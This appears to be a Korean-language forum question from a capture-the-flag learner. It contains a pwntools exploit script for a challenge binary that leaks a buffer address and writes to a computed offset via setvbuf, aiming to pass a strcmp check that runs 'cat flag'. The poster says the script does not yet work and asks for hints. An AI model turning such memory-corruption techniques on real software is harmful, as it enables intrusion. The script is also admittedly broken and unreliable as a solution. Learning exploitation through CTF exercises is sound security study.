**#!/usr/bin/env python3
import sys
from pwn import *
BINARY_PATH = "./chal"
def conn():
if len(sys.argv) == 3:
p = remote(sys.argv[1], int(sys.argv[2]))
else:
p = process(BINARY_PATH)
return p
p = conn()
elf = ELF(BINARY_PATH)
p.sendlineafter(b'>> ',b'2')
p.sendlineafter(b'>> ',b'1')
p.sendlineafter(b'>> ',b'2')
buffer = int(p.recvline().split(b': ')[1],16)
type = buffer + 0x468
print(hex(buffer))
print(hex(type))
p.sendlineafter(b'>> ',b'1')
p.sendlineafter(b'>> ',b'139810')
p.sendlineafter(b'buffer: ', f'{int(type)}'.encode())
p.sendlineafter(b'size: ', b'5')
p.sendlineafter(b'>> ',b'2')
p.sendlineafter(b'>> ',b'0')
p.sendlineafter(b'>> ',b'1')
p.sendlineafter(b'[y/N]\n',b'2'*5)
p.interactive()**
안녕하세요 해당 문제를 풀기위해서는 setvbuf를 이용해서 풀어야한다는 점은 알고 있습니다.
다만 setvbuf에 대해서 자세히는 모르지만 디버깅을 통해 최종적으로 long type;에 (0x3232323232)22222를 넣는 방법을 찾았습니다.
if(this->type && !strcmp ((char*)(this->type), YELLOW_WIN))
system("cat flag");
해당 조건문을 통과해 최종적으로 플래그를 찾는것을 목표로하고 있습니다.
그러나 Bunker->long type에 22222를 넣어도 조건문이 통과하지 않습니다.
나름 찾은 이유는 비교문 strcmp함수에 RSI RDI에서 생각대로 레지스터에 담기질 않는것 같습니다.
나름대로 이유는 열심히 찾았지만 그 원인이 먼지 잘 모르겠습니다...
해당 문제를 풀 수 있게 지혜를 주셨으면 좋겠습니다.
감사합니다. (__)